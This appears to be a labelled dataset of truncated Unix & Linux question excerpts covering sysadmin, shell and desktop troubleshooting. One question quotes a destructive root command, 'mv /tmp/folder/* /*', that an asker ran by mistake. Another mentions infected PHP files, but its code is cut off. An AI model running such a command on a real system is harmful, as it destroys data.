activating visibility of ""Level 5"" ""dangerous packages"". Later, after a post-update reboot, my ... ",['unix'] "Title: Caps lock delay problem Body: With using caps lock for word capitalization, when I type fast using my Linux distro, I get the following: CAps LOck NOt WOrking PRoperly. I tried the same keyboard on a windows machine, it works ... ",['unix'] "Title: What to do after the LUNS are created Body: Our Management bought a New EMC2 VNX storage device . And a guy from vendor came to create the LUNS. I honestly have no idea how to configure the EMC SANS as i never got a chance to work on such ... ",['unix'] "Title: start autossh reverse tunnel automatically when network comes up Body: I connect from my home PC thru an Internet server I own to a restricted client (that I also own) using a reverse ssh tunnel. I have a script that sets up the restricted client to middleman leg of ... ",['unix'] "Title: Correct diacritics in a mysql dump on CentOS Body: On my CentOS server, I have got a dump file of a mysql table which contains special czech characters in it (e.g. á, é, č, ž). When I view the file using cat, the special characters are broken (e.g. ĂĄ ... ",['unix'] "Title: Steam Launch Segfault on Arch (steam.sh line 704) Body: Launching Steam on Arch Linux crashes with the error: /home/matthew/.local/share/Steam/steam.sh: line 704: 4013 Segmentation fault (core dumped) $STEAM_DEBUGGER ""$STEAMROOT/$/PLATFORM$/STEAMEXE"" ... ",['unix'] "Title: How do the internals of sudo work? Body: How does sudo work internally? How is it possible that it can become root without having the root password, unlike su? What syscalls, etc. are involved in the process? And why is however sudo does it ... ",['unix'] "Title: How can I know the dependency packages for an installed package? Body: Let's say I installed foo. The foo package depends on bar, so bar was installed to satisfy foo's dependency. How can I get Ubuntu/APT/dpkg to tell me that bar is installed because foo is installed? ... ",['unix'] "Title: tshark command for finding MAC of a specified network Body: What tshark command could start listening to a specific network and see who (MAC-wise) is connecting to it? I already have the network card in monitor mode at the correct channel. WireShark can ... ",['unix'] "Title: I need an fstab example for archivemount (want to umount without my password) Body: I am using archivemount to mount one of several tar.bz files in Ubuntu. It works very nicely for me. I mount and umount frequently (I'm in a testing phase). I want a solution that will allow me to ... ",['unix'] "Title: CentOS VNC-Server Body: Are there any instructions how to install a VNC-Server on CentOS? Some of them explain how to setup a terminal server, but I primarily want to use the currently logged in desktop. ",['unix'] "Title: Mounting a squashfs filesystem in read-write Body: I have a Clonezilla installation on a USB stick and I'd like to make some modifications to the operating system. Specifically, I'd like to insert a runnable script into /usr/sbin to make it easy to ... ",['unix'] "Title: How to install newer version of packages on scientific linux ? (besides source) Body: I just installed the newest SL6.4. I use c++11 and I tried to install the latest gcc (4.8.1) using gsrc (gsrc automates install). the problem that i faced is that SL's zlib was too old. Meaning, zlib ... ",['unix'] "Title: Does Lenovo builtin 3g modem work with debian (network-manager) Body: I'm going to buy laptop similar to this one: link (Lenovo W530), I'm considering buying internal 3G modem: (link, part no: 0A36319). Since I had some trouble with 3G modems previously I'd like to ... ",['unix'] "Title: How do I backup a non-empty directory and preserve metadata like permissions/user-group ownership/time file was modified? Body: I used rsync for creating a backup copy: bash-3.2$ rsync -tvrog /export/home/kent/Scripts /export/home/kent/TEST_Scripts_rsync With these options: Options: -v, --verbose ... ",['unix'] "Title: sudo command executes without prompting for password Body: For some reason, I suddenly do not need to enter the password when issuing sudo some_cmd. Entered command just runs without ever prompting password, even if I am not logged in as user root. Commands ... ",['unix'] "Title: What's the difference between a normal user and a system user? Body: Some documentation I'm going through has a boolean switch on whether or not a user is a 'system' user or a 'normal' user defaulting to 'normal'). What is the difference between these two modes of ... ",['unix'] "Title: 'setfacl' permissions don't apply to directories created by git clone? Body: Here's how I am setting permissions for my website's root directory i.e. ~/public_html, where the files that my website serves are placed: sudo chgrp -R www-data ~/public_html chmod g+s ~/public_html ... ",['unix'] "Title: exiting from webbrowser on debian(without GUI) Body: I fired up Debian 64 bit on a virtual machine and I did not download the GUI package.(partly because it took just too much time and partly because i wanted to experience the command line!). Anyway, I ... ",['unix'] "Title: udev does not see drm subsystem changes on laptop resume Body: I am using udev to manage setting up monitors on my ThinkPad T400. I use a docking station, and the desired behavior is that when I dock the laptop, the LVDS output is turned off, and the DVI-0 output ... ",['unix'] "Title: How can I check how much space I am allowed to use on a linux server? Body: I have some giant files I'd like to back up by putting them on a server I am allowed to use for such things. However, I am uncertain about how much space I am allowed to use. Is there any way of ... ",['unix'] "Title: Reset Load Averages? Body: I'm doing some load testing on a new dedicated web server, and after a certain amount of strain is put on the server I have to wait a minute for the one-minute load average to climb back down so that ... ",['unix'] "Title: Does the command-line interpretor interface with the kernel/device drivers the same way as a normal GUI-program would? Body: For example, unmounting is implemented in a filesystem. Changing video resolution is implemented in a computer program that keeps track of and manages the display on a monitor with use of video ... ",['unix'] "Title: perl one liner + how to match IP address that located in the first/sec field of file Body: the following perl one liner syntax verify if IP address in ""$IP"" match the IP ADDRESS in file perl -ne 'BEGIN{$IP=shift} print if /(^|\s)\Q$IP\E(\s|$)/;' $IP file file have two fields as the ... ",['unix'] "Title: Does IPTraf includes its own activity in the report? Body: Does IPTraf includes its own activity in the report? If it does how do I exclude it? ",['unix'] "Title: Enabling UTS Namespaces in the Linux Kernel Body: When configuring the Linux kernel, what are the advantages and disadvantages of enabling UTS namespaces? Would the new system be harmed if UTS namespaces were disabled? ",['unix'] "Title: How to connect to internet using `nmcli`? Body: According to this link nmcli dev wifi con a52c60f5-c1af-4d39-8dc8-728bd770bffc password 12345678 name dlink_home should establish the connection, but it outputs the following error when I try to ... ",['unix'] "Title: NetworkManager not storing passwords Body: Today I noticed that NetworkManager is not storing passwords for WPA2 networks. I enter the password on connecting, but when I go to the Network Connections dialog the password field is blank and I ... ",['unix'] "Title: LDAP : one suffix : search multiple separate Active Directory Body: I have configured an OpenLDAP 2.4.23 as a proxy to multiple separate Active Directory, it works fine when each AD as a different suffix/search base. I have an use case to fullfil : one application ... ",['unix'] "Title: pptpd to tunnel internet but some sites don't work [duplicate] Body: I used a pptp link to tunnel internet (server is Debian/Raspberry Pi, client is Windows 7). I can connect to the server. As a test, I visit a site that returns my IP and I see the IP of the server on ... ",['unix'] "Title: switching windows in twm with keyboard shortcuts Body: I am using a system that runs twm and I am wondering if it is possible to switch between windows using keyboard shortcuts, as I do in gnome with Alt+Tab. ",['unix'] "Title: Samba daemon hammering CPU on CentOS 5.6 VM on bootup Body: I have a problem where my Centos 5.6 VM is running very slow on my Win7 machine, and looking at top I can see that the Samba daemon smbd is sitting at the top of the list hitting the CPU big time, ... ",['unix'] "Title: How do i change the password for root using webmin, where i have no more access as root? Body: I changed the root password, using webmin it shows me successfully done. $ uname -a Linux .com 2.6.18-194.11.4.el5 #1 SMP Tue Sep 21 05:04:09 EDT 2010 x86_64 x86_64 x86_64 GNU/Linux $ echo -e ... ",['unix'] "Title: Permissions on an ext4 filesystem on a removable drive used in different machines Body: I have a USB flash drive with ext4 file system and its files are owned by my user on my local machine, for example by myuser@myhost with 700 permissions. If I unplug my flash drive and plug it in ... ",['unix'] "Title: read -a array -d '\n' < foo, exit code 1 Body: If I try to execute read -a fooArr -d '\n' < bar the exit code is 1 -- even though it accomplishes what I want it to; put each line of bar in an element of the array fooArr (using bash 4.2.37). ... ",['unix'] "Title: Changing drives in FTP Body: I am using RHEL6 and I connect to FileZilla FTP Server in Windows 2008 Server which has more than 10 drives. I have access to all of them but for my user C:\ is Home Directory. I want to change to ... ",['unix'] "Title: Uninstalling Software Built from Source [duplicate] Body: How can you uninstall software that was built and installed from source? (Using make install?) ",['unix'] "Title: Cron job for every minute executing out of order? Body: I'm setting up some shell scripting to be executed every five minutes, then every minute on our client's system, to poll a log and pull some timing information to be stored and accessed by another ... ",['unix'] "Title: Error trying to build pango (1.34.1) and harfbuzz (0.9.18) from source Body: So I'm trying to build pango from source (in my home directory, as a dependency to something else I need). This is on a computing cluster running SLES 11. When compiling, I get the following error: ... ",['unix'] "Title: How to set CONFIG_PREEMPT_NONE in RHEL 6.4 (linux) Body: I am trying to tune the RHEL6.4 Kernel to handle server style load for of my application. With RHEL 6 scheduler has been changed to CFS and with RHEL 5 my application works fine. I would like change ... ",['unix'] "Title: How to redirect stdout and stderr to a file and display stderr to console? Body: I know how to redirect to a file, and use tee; on a basic level. So $ alias outanderr='bash -c ""echo stdout >&1; echo stderr >&2""' \ # A fake ""application"" displaying both output and ... ",['unix'] "Title: Booting directly in debian linux without giving username and password Body: I would like to skip the username and password prompt at boot-up from debian linux. I want to boot directly to the system without giving username and password. ",['unix'] "Title: Question on understanding windows manager/desktop environment Body: Linux newbie here. I'm trying to understand the different desktop environments and how they work together on one machine. If I install a new desktop environment, this shouldn't change the underlying ... ",['unix'] "Title: Cannot boot Fedora Linux Body: I cannot boot the operating system on my laptop. I have three versions of the kernel installed and none of them will boot. Booting into Windows (installed in a separate partition) still works, so I ... ",['unix'] "Title: scp to /home changes permissions? Body: This would be illustrated very nicely with an scheme. When I write ""Test: OK"" or ""Test: FAIL"" I am restarting apache server (httpd service). Basically, performing everything as root in the ... ",['unix'] "Title: Why doesn't “ping -vrf” works when ping works? Body: 0:root@SERVER:/root # ping IPADDRESS PING IPADDRESS (IPADDRESS): 56 data bytes 64 bytes from IPADDRESS: icmp_seq=0 ttl=254 time=0 ms 64 bytes from IPADDRESS: icmp_seq=1 ttl=254 time=0 ms 64 bytes from ... ",['unix'] "Title: How to execute php file as different user securely? Body: I want to confirm that my thoughts are correct as this is about security matter. We have web based application which is using db2 database. db2 runs under the db2inst1 user. Now we want users of the ... ",['unix'] "Title: Attempting to boot from Windows 7 Live CD on external HDD, PC ignores it and goes to GRUB Body: I apologize if this is the wrong location, but it seemed the most applicable. I run Fedora 18 and Windows 7 dual booted. I just put a Windows 7 64 bit SP 1 live CD onto an external HDD, formatted ... ",['unix'] "Title: How to add a unix/linux user in a bash script Body: Here's my test bash script. I'm not able to get it to work. I'm seeing two errors: Use of uninitialized value $answer in chop at /usr/sbin/adduser line 589. Use of uninitialized value $answer in ... ",['unix'] "Title: How can I use bindkey to run a script? Body: In the Z shell, how can I use bindkey to bind a key sequence to a script? ",['unix'] "Title: how does built in commands of a shell implemented in Linux? as a function or thread of shell process? Body: I know that external commands are run in the shell by creating a separate process. But what exactly happens when a built in command is run in a shell. Are they executed as a function or if the shell ... ",['unix'] "Title: What exactly did mv /tmp/folder/* /* do to my filesystem? Body: It's hard to search for special characters on google, which is why I'm posting this here. I recently ran (as root) a mv /tmp/folder/* /* when I meant to run mv /tmp/folder/* ./ Big mistake! Things ... ",['unix'] "Title: Lotus Note installation on Linux Mint 14? Body: I'm trying to install IBM Lotus Note 8.5.3 on Linux Mint 14 using terminal. Problem is that it's not installing and showing following error sudo apt-get install ibm-lotus-notes-8.5.3.i586.deb Reading ... ",['unix'] "Title: Modify XML file based on partial name Body: I've been using Xmlstarlet to modify some .xml files but I am lost trying to figure out how to modify a tag based on a partial name. What is the best way to comment out an entire line that begins ... ",['unix'] "Title: Make VIM act as Notepad++ on mixed line endings Body: I've googled all around and found tons of weird solutions to ^M problem, but couldn't find one and simple: how could I just open any file, like in Notepad++ and work on it? I don't want to mess with ... ",['unix'] "Title: Monitoring an under attack Server thorugh a remote endpoint Body: I have this Debian server that is constantly under attack as shown in its /var/log/auth.log file. I was wondering if there is a best practices of monitoring it through sending all important log ... ",['unix'] "Title: Which folder should I write to for my intermediate files, as a dev? Body: I'm starting to write a few bash scripts for my project and they need some intermediate files or variables to be written. I want to know which folders can I be sure of having access to when someone ... ",['unix'] "Title: Font letter spacing issue with PhantomJS/wkhtmltopdf on Ubuntu Body: I'm using PhantomJS/wkhtmltopdf on Ubuntu 12.04 LTS to convert HTML to PDF and get very strange letter spacing errors. For instance, the internal distance between es and xa seems very random and ... ",['unix'] "Title: Parse a dragged path from a remote machine Body: I am writing an application that needs to be able to parse a path that is dragged from a remote server onto the command line. However, when I drag a path from a remote machine to the terminal I get ... ",['unix'] "Title: What are the settings to correct vsftpd “500 OOPS: cannot change directory” error? Body: My question is what settings do I need to change and/or commands to run to allow me to log into my vsftpd system? I am getting this error, when I login using ftp instead of sftp: Name ... ",['unix'] "Title: How to check if EDID can be tusted Body: read-edid gives me the message ""The EDID data should not be trusted as the VBE call failed"". Thats okay, but I want to find out, that this data is not reliable, another way, because I can't use ... ",['unix'] "Title: Find used drivers for printer Body: My printer CANON PIXMA MP170 (usb) doesn't work on Debian 7 amd64 but does work on my Ubuntu 12.04 i386. I've tried a lot of tutorial about this but no success. So for now I'd like to to know more ... ",['unix'] "Title: opengl/glx core dumps - generic intel linux drivers, RHEL6 Body: Recently, I switched from using a dedicated ATI video card and proprietary drivers to the onboard Intel video card and default/generic Intel drivers because the ATI video card was damaged and I ... ",['unix'] "Title: How to know ip camera address Body: I have ip camera with static ip address preset. How can I know it ip using linux? I connect camera direct to my notebook. My system is Linux machine 3.5.7-gentoo #2 SMP ifconfig eth0 eth0: ... ",['unix'] "Title: Apache + mod_fcgid + chroot with mod_security. CentOS/RHEL 6 Body: I am trying to setup a web server running Apache + mod_fcgid + mod_security chroot enabled and having a real hard time to get this working. Apache was installed from official CentOS repo and mod_fcgid ... ",['unix'] "Title: net.ipv4.conf.all.mc_forwarding: why is my access denied? Body: On Debian 12.04 LTS I am trying to access the key net.ipv4.conf.all.mc_forwarding by doing : sudo sysctl -w net.ipv4.conf.all.mc_forwarding=1 But every time I am doing this, I get the message ... ",['unix'] "Title: force rsync to overwrite files at destination even if they're newer Body: I have an rsync backup script I run, which also restores files back where they came from when I ask. But if the files at the destination are newer than those in the backup when I try to restore, it ... ",['unix'] "Title: Augeas in shell script Body: I'm trying to use augtool in shell script ex: #!/bin/bash augtool <<-EOF print /augeas/load EOF However if I execute this script, the script will run indefinitely with no output and the CPU ... ",['unix'] "Title: how to display I/O file on shell [closed] Body: I am writing shell script and I need to display my output at the same time however it doesn't work with 2> somefile.txt and if I do | tee -a somefilel it will not overwrite which I need to . <> ... ",['unix'] "Title: Is Firefox for Linux generally unstable? [closed] Body: Started using Firefox in the early days and have used it as main browser for a long time. Under Windows, where I used it a lot until approximately 2011, I generally seldom had problems with it. ... ",['unix'] "Title: How can I reproduce solarized theme colors with xcalib for reading pdf's Body: How can I reproduce solarized theme colors with xcalib for reading pdf's? I want to use xcalib such that I can read (black and white) pdf's with evince such that the background is like that one I am ... ",['unix'] "Title: Mint 15 High temps on e-450, fan seemingly not reacting Body: I'm running a 64-bit Mint 15 on a Lenovo x121e with AMD E-450 and Radeon HD graphics. I'm worried about the high temperatures (I had Ubuntu before and never even noticed anything, so I never checked ... ",['unix'] "Title: About Ingo Molnar's Realtime Preemption patch Body: Does Ingo Molnar's Realtime Preemption patch support ARM cortex-A8? ",['unix'] "Title: Can not edit .vimrc file Body: I have just installed spf13 plugin for vim and I want to customize .vimrc file. When ever I try to save the edits it says: "".vimrc"" E166: Can't open linked file for writing syntastic: info: no ... ",['unix'] "Title: Extract timestamp from a gzip file Body: How can I know the raw original timestamp of a file foo compressed with gzip without having to decompress foo.gz? gzip --verbose --list foo.gz and file foo.gz will print formatted date and time. ",['unix'] "Title: Determining the particular processor on which a process is running Body: I have access to an 8-core node of a Linux cluster. When logged in to the node, I can see a list of processors using this command: more /proc/cpuinfo In my 8-core node, the processors are numbered ... ",['unix'] "Title: Configuring CUPS PDF writer for PDF/A output? Body: Can the PDF pseudo-printer in CUPS be configured to emit PDF/A files? If so, how to do it? I'm using CUPS 1.5.3-5 and CUPS-PDF 2.6.1-6 as provided by Debian Wheezy/7.0. Despite CUPS PDF Format - ... ",['unix'] "Title: No display when booting LM15 on EFI board Body: I want to install LM15 alongside win7 x64 on 3TB GPT partitioned drive. If I boot legacy LM15 x32 from a usb drive it boots correctly without any trouble but of course I cannot install from it because ... ",['unix'] "Title: Can I query which processes (if any) are currently accessing the microphone? Body: I'm running Debian (technically Raspbian), trying to get a Star-Trek style voice-command system. I've got it mostly up and running, but in the interests of privacy and all that jazz, I don't want my ... ",['unix'] "Title: Change zsh completion to put completions above the prompt Body: I'm a long-time tcsh user that finally decided to try out zsh. I've been toying around with completion, but one thing I don't like is that when I hit tab for a completion that might have a lot of ... ",['unix'] "Title: Where do installed RPMs go? Body: I download and install packages on my Red Hat Enterprise Linux Server 6 machine using YUM package manager in command-line mode. When I install apk files on my Android phone, they go to /data/app ... ",['unix'] "Title: Pacman -Syu fails `/bin exists in filesystem` Body: I was trying to upgrade my arch linux with pacman -Syu after having returned from vacation and now I get this error that I cannot quite make sense of: (133/133) checking for file conflicts ... ",['unix'] "Title: How can I improve my productivity in Linux? [closed] Body: I have been mostly using Windows but I know my way around a Linux system but I am not as productive as in Windows. I am looking for some ""survival"" guidelines on what should I focus to be able to ... ",['unix'] "Title: SED command and filenames with space Body: I was hacked, for my php files was infected. Example: http://www.nwww.ma.mk/oscommerce/configweb/apexfash-wp-blog.txt Bad Code: <?php ... ",['unix'] "Title: Changing suEXEC Path / CentOS 6 Body: I have recently installed httpd on a Centos 6 server. From what I see suEXEC was compiled with the values below; -D AP_DOC_ROOT=""/var/www"" -D AP_GID_MIN=100 -D AP_HTTPD_USER=""apache"" -D ... ",['unix'] "Title: Connecting to network with terminal Body: I have a router at home with ESSID of dlink_home and 10 digits (0123456789) 64-bit WEP encryption of Open Authentication Type. I want to connect to it through terminal with bash commands, I tried ... ",['unix'] "Title: Cannot mount eCryptfs Body: I tried to install eCryptfs on my server to open an eCryptfs I did on my home computer. I got these errors. $ sudo mount -t ecryptfs /home/(place)/enc/ /home/(place)/enc/ Unable to get the ... ",['unix'] "Title: Print line n-1 (and n) if line n fulfills condition Body: I have a fasta file looking something like this: >19 dna:chromosome chromosome:NCBIM37:19:1:61342430:1 37330562 ID13406 U - TACATGGGTGACAAGGAGGTCAGGTGTTA >19 dna:chromosome ... ",['unix'] "Title: for loop to get more than one arguments Body: In python and some other programming languages, it is easy to get a vector instead of one variable everywhere and in loops. like python: for variable in ... ",['unix'] "Title: Removing leading zeros from DATE Body: I made an alias of the date command to display date in the following format: 2013.06.14.12.10.02 using this command: alias date = date +""%Y.%m.%d.%H.%M.%S"" Everything works great, except i ... ",['unix'] "Title: How to deal with spaces in a variable Body: I'm working on some scripting: for x in `find ./ -name *.pdf` do echo pathname $x done My filenames are Test1 ( Volume II), Test2 ( Volume II). I'm getting a return of pathname Test1 pathname ( ... ",['unix'] "Title: Expect script within bash & exit codes Body: I have a bash script that calls an expect script. The expect script has several conditions. It ssh's into a box and executes a command, and there are different possible errors that could happen which ... ",['unix'] "Title: Characters not defined into iso14651_t1_pinyin are not sorted properly Body: when I try to sort characters not defined in iso14651_t1_pinyin, no sort happens, they are simply left in place. I would expect to see them sorted according to their codepoint. Is there a way I can ... ",['unix'] "Title: Benefits of rpm over deb in the context of a server? [closed] Body: This related question What are the pros/cons of deb vs. rpm? seems to be more focused on personal computers, but in the context of a server, why do most of the servers run either RedHat / CentOS or ... ",['unix'] "Title: How to backup (make a copy of) LiveCD changes? Body: Many LiveCD distributions (for example Lubuntu 12.10 I use) allow making changes, for example updating timezone, logging in to Google Chrome, updating and installing additional packages such as ... ",['unix'] "Title: Strange combination of symbols UNIX [closed] Body: I was looking at one korn shell script examples and I saw this strange combination of symbols: %? So my question is what does it mean? ",['unix'] "Title: Restrict applications to access certain hardware (webcam, microphone…) Body: If I tell applications like VLC or Audacity to record from my webcam or microphone, they just wake the hardware if sleeping and do their work without my interference. Although this is a good thing, ... ",['unix'] "Title: Dispatcher script of network-manager no longer works Body: Soon after upgrading to networkmanager 0.9.8, I got the following message when it starts, Dispatcher failed: (32) Unit dbus-org.freedesktop.nm-dispatcher.service failed to load: No such file ... ",['unix'] "Title: PuTTY and PowerTerm scripting Problem, Open a just in time URL via Samba share Body: I'm sshing into a fedora server using Powerterm (an expensive overly priced, license based, terminal emulator). The server uses an ancient form of (what I'm told is similar to) cobalt. I have no ... ",['unix'] "Title: What does the “00:00:00” timestamp mean in kern.log? Body: I'm looking for causes of a particular problem in kern.log. There are many entries with a 00:00:00 timestamp: Jun 11 00:00:00 mymachine kernel: [ 0.000000] Initializing cgroup subsys cpusetJun 11 ... ",['unix'] "Title: How to install backtrack 5 onto a USB that doesnt mount with existing OS Body: I believe the title states what im mostly asking but here's the specs. Sandisk Cruzer 4GB USB 2.0 Existing OS: Windows Xp Professional SP3 Hardware: Intel Pentinium 4 Xeon Class (x86 F15 M2 S4) ... ",['unix'] "Title: is there any reason to avoid editing /etc/group directly Body: I find it much easier to edit files directly rather than remember commands like useradd -g, usermod, groupmod, etc. Is there anything wrong with just editing /etc/group directly? ",['unix'] "Title: Protect folder from sudoers Body: Is there an ability to not allow sudoers view your folder (only you and root can access folder)? ",['unix'] "Title: Having Virtualbox disk images on /opt Body: Background After a recent HDD crash I did a clean install of Linux Mint 15 on a new disk. Seeing the potential problems with having backups of my documents and eclipse workspace, I realized that a ... ",['unix'] "Title: crash shell: any way to check if a command executed Successfully Body: I'm automating a test using crash package. Is there some thing like $?, which can be used to check if the previous command executed successfully or not inside a crash shell? For example, when ... ",['unix'] "Title: Debian unstable: ia32-libs can not be used Body: After an dist-upgrade within Debian unstable (amd64) I can not use 32 bit programs anymore, because ia32-libs is not possible to install: # apt-get install ia32-libs Reading package lists... Done ... ",['unix'] "Title: How to open and work with terminals using bash script? Body: I need to open four terminals each will then connect to four different remote pcs and open specific directory locations on those pcs. Each terminal will be opened in different locations on my pc's ... ",['unix'] "Title: extracting attachments from mail that is coming to my postfix inbox Body: how do i extract attachments from mails arriving at my postfix mailbox and preferably send the content of the attachment to another email account. I am interested in being able to acquire/read the ... ",['unix'] "Title: How to install CLang using precompiled binaries? Body: How do I install CLang on Ubuntu, using precompiled binaries of CLang that I downloaded? Here's how I downloaded CLang: ""LLVM Download Page"" -> ""Download LLVM 3.2"" -> ""Clang Binaries for ... ",['unix'] "Title: Do redirection operators always open file descriptors in parallel? Body: 1. Consider snippet#1: $ cat test.txt > test.txt cat: test.txt: input file is output file It seems that cat makes its input file descriptor point to test.txt and then when it tries to set its ... ",['unix'] "Title: Installing HP DeskJet 3520 in CUPS Body: I am trying to install this printer into CUPS under Debian 6. The printer is automatically detected correctly and then I have a list of drivers to choose from. There is no driver for the 3520 - so I ... ",['unix'] "Title: How to increase ftrace precision to microseconds? Body: I'm trying to generate FTrace files inside an Android environment, using: root@adroid:# echo 1 > /sys/kernel/debug/tracing/events/sched/sched_switch/enable root@adroid:# echo 1 > ... ",['unix'] "Title: What are the readline word separators? Body: When I delete a ""word"" in Bash, it will stop at certain characters like _ and /. For example, if I type /foo/bar and activate backward-kill-word (typically mapped to Alt-Backspace and/or Ctrl-w), ... ",['unix'] "Title: Deleting users with nologin shell Body: On a security audit performed on our production Linux servers , we were asked to remove nobody user if no application are using it. I checked and could see that there are no files owned by 'nobody' ... ",['unix'] "Title: How do I change currently selected keyboard layout from command line? Body: I have my keyboard layouts (two of them) and switching between them configured via the following command: setxkbmap -layout us,ru -option -option ""grp:lctrl_lshift_toggle,ctrl:nocaps"" Now I want to ... ",['unix'] "Title: ip function exit code Body: I use use ip by system(""ip link set eth0 up"") in a C program. I know that system returns -1 if it fails and returns what the called function returns(exit). E.g., if eth0 is not exist on the system, it ... ",['unix'] "Title: What disk is a file / directory stored on? [duplicate] Body: From the command line (bash) I would like to know what disk a given file is stored in. E.G.: $ [what filesystem is this file in command] /tmp/example/file /dev/sda1 ",['unix'] "Title: Replace filename with parent folder name Body: I have a bunch of files each in their own subdirectory. I need to write a script to rename each file to have the same name as its directory: For example, given: ./1111/1234.pdf ./2222/2345.pdf ... ",['unix'] "Title: CentOS can't remove user from group Body: Asked and answered many times, but I can't get it working!!! (On CentOS) I have the user userA and I want to remove it from group sftponly. #groups userA userA : sftponly #id -Gn userA sftponly ... ",['unix'] "Title: How can I be sure that access to my home server from my home network is not done via Internet? Body: As advised in this question: Network file-sharing between Linux and Android, I have decided to use ownCloud to store files on my home cloud server. However, my needs have changed a bit. I want to be ... ",['unix'] "Title: Nohup process not running into ssh Body: I have a question on the use of nohup in an ssh session. During more than three years my java software executed the following command daily using a remote ssh session: cd some_path; chmod 777 ... ",['unix'] "Title: Shell hangs when doing command from ssh Body: I'm trying to automate a server update process. What this should do is check for git diff files and list them, to later be copied from one place to the other. Here's my script on my local machine: ... ",['unix'] "Title: LVM to extend a partition? [duplicate] Body: I tried to extend my partition with LVM, but not having much success. These are my HDD's in my server. The 2000GB is the new HDD. I would like to add it for my first HDD. root@webstar:~# fdisk -l ... ",['unix'] "Title: Is it possible to set-up a VPN in such a way that I disconnect from the Internet if it goes down? Body: How can I set-up a VPN so I loose connection to the Internet if it goes down? I use Ubuntu and have used the network-dialog to use a VPN; but if the VPN goes down, it just switches to the non-VPN ... ",['unix'] "Title: netfilter's configuration to allow openvpn Body: I've got a debian server at home, that I use to have a VPN access to my home computers. I've redirected the openvpn port on the port 2000 : in my file ""server.conf"", I've added this : #Server mode ... ",['unix'] "Title: How to install GNOME 3 on RHEL6? Body: I am using Red Hat Enterprise Linux 6, it has Gnome GUI, but it is very simple and not like Ubuntu's GUI. I want to install/upgrade my GNOME Desktop Environment to its latest release. How can I do ... ",['unix'] "Title: Fedora over-current condition on port 1 Body: When I boot up my Fedora 18, I got this message > [1.817675] hub 2-1:1-0: over-current condition on port 1 shown on the screen. Right after the Fedora logo disappear, and it is not yet boot into ... ",['unix'] "Title: USB SD card reader recognized with lsusb but no storage device shown with lsblk Body: I have a 2GB Micro SD card and a USB card reader. When I run lsusb I can see the card reader is recognized, but when I run lsblk I see no additional storage devices. [lane@Lane-ArchSystem 19:38:08 ... ",['unix'] "Title: How can I rename all files with one extension to a different extension recursively [duplicate] Body: Say I have a folder: / /a.bub /v.bub /dr.bub /catpictures /catpictures/or.bub /catpictures/on.bub How can I format a script to change each of these to .aaa. Here is what I've got, although it ... ",['unix'] "Title: Debugging bash functions [closed] Body: So here I have a simple function that I wish to debug. However, I am unable to debug the desired function even with set -o functrace enabled. Before resorting to asking this question, I had managed ... ",['unix'] "Title: Closing all Nautilus windows from terminal Body: How can I close all opened Nautilus (explorer) windows from the terminal? ",['unix'] "Title: Networking related problem halts system to shut down Body: I have Ubuntu 12.04 (to be precise Linux mint 13) installed on my thinkpad T520, running for around 1 year. I am not able to shut down my machine even when I do sudo shutdown now. After eliminating ... ",['unix'] "Title: Having trouble with LVM snapshot Body: I have a funtoo linux machine which I am trying to add ubuntu to (thats a whole other issue). It is encrypted with luks and has lvm on top of that. I have a 2 TB harddrive (sdb) which I would like ... ",['unix'] "Title: Command “I'm” on linux ubuntu [closed] Body: I'm new at linux, ubuntu, and I did type I'm running and then like if it was a program or something else, I was allowed to write more... nothing else... I just want to know more about this command ... ",['unix'] "Title: Man displaying groff control characters Body: Man is displaying groff control characters after I compiled a later version of groff. For example, when I try to view groff's man page: GROFF(1) General Commands Manual ... ",['unix'] "Title: How can I use a variable from a script? Body: A bash script is running as I defined it in Startup Applications. It is possible to display on terminal a variable used in that script? If yes, how? ",['unix'] "Title: Fix “firefox is already running” issue in Linux Body: I am trying to open Firefox in CentOS, but I'm getting the following message: Firefox is already running but is not responding and Firefox doesn't open. I tried this in command line: kill ... ",['unix'] "Title: How to know which Linux kernel versions Qt 4.7 supports Body: I'd like to develop Qt 4.7 based applications running on my arm-linux MCU. However, I'm not sure if this Qt 4.7 supports the following two things: my Linux 2.6.37 kernel my Ti3530-cortexA8 MCU. I ... ",['unix'] "Title: How can I tune Ubuntu for running from a flash drive? Body: I feel like this is a bit of a duplicate of this other question about making caching more aggressive, but I tried a lot of the suggestions there and I just can't figure out why I'm having trouble. My ... ",['unix'] "Title: How do you install/upgrade Intel graphics drivers on Mint? Body: I have only recently begun using Linux as my primary OS on my laptop. I previously ran Windows 7 on it, which generally had decent performance in 3D applications. However, I've noticed a considerable ... ",['unix'] "Title: since which version does linux kernel support multi touch screen? Body: I'm having a Linux 2.6.37 kernel on hand and I'd like to know if it support multi-touch screen. If so, I'd like to know since which version does Linux starts to support multi-touch and to what extend, ... ",['unix'] "Title: What is the process of restore a missing data from my HDD? [duplicate] Body: There is some ways to restore our data after we doing a format, How its works? Is this mean when I sell my computer any one will have a chance to restore my private data like (Photos or information) ... ",['unix'] "Title: RDP only Operating System Body: I am looking for an operating system where the login screen asks for a username and password for an rdp login prompt. I want an administrator to also be able to login to change the i.p. address for ... ",['unix'] "Title: How does touch -t work internally? Body: How does touch -t command works exactly, internally (I tried to find its source code but couldn't)? ",['unix'] "Title: How can I convert this bash function to the fish shell Body: I'm trying out the fish shell 2.0 to replace bash. I'm trying to convert the following bash function to a fish function, but its giving me hell. I have a several similar functions so if someone ... ",['unix'] "Title: How can I setup mail server with ipv6, pam and db? Body: I'm looking for solution for a specific problem: I want to setup a good and secure mail server but I need ipv4 + ipv6, some kind of autouser mapping (if I add new user to machine, system should ... ",['unix'] "Title: NFS does not store tails of files when program crashes Body: Program is running in parallel on multiple processors and is writing logs to a central host via NFS under RH7.3 or SUSE 11.3. If program crashes or hangs then tails of log files are lost and we lack ... ",['unix'] "Title: debian - Package development, where's the path of compiled packages Body: Where's the path of compiled packages from source on debian ? for example: git clone git://github.com/lightspark/lightspark.git cd lightspark dpkg-buildpackage [...long output...] dpkg-buildpackage: ... ",['unix'] "Title: Loop over multiple addresses: ping and drop data into file Body: I would like to be able to have a script that will: look at a list of IP addresses Ping one of the addresses Take the data and drop it in to a file Move on to the next IP So far I have: cd ... ",['unix'] "Title: Where can I find updated TAR.rpm for Oracle VM Server? Body: I'm using tar for my incremental backup script on Oracle VM Server 3.2.2 and it comes with tar 1.15.1 I need this command: tar -cf drive-C.full.tar --no-check-device \ ... ",['unix'] "Title: umask base permissions on usb drive [duplicate] Body: On linux, the base permission for a file is 666 and for directories, it is 777. With a umask=022, new files and directories have permissions 644 and 755 respectively. When I mount a usb drive with ... ",['unix'] "Title: How to get rid of the “scanning for btrfs file systems” at start-up? Body: After upgrading from Ubuntu 12.04 to Ubuntu 12.10, I get a message ""scanning for btrfs file systems"" at 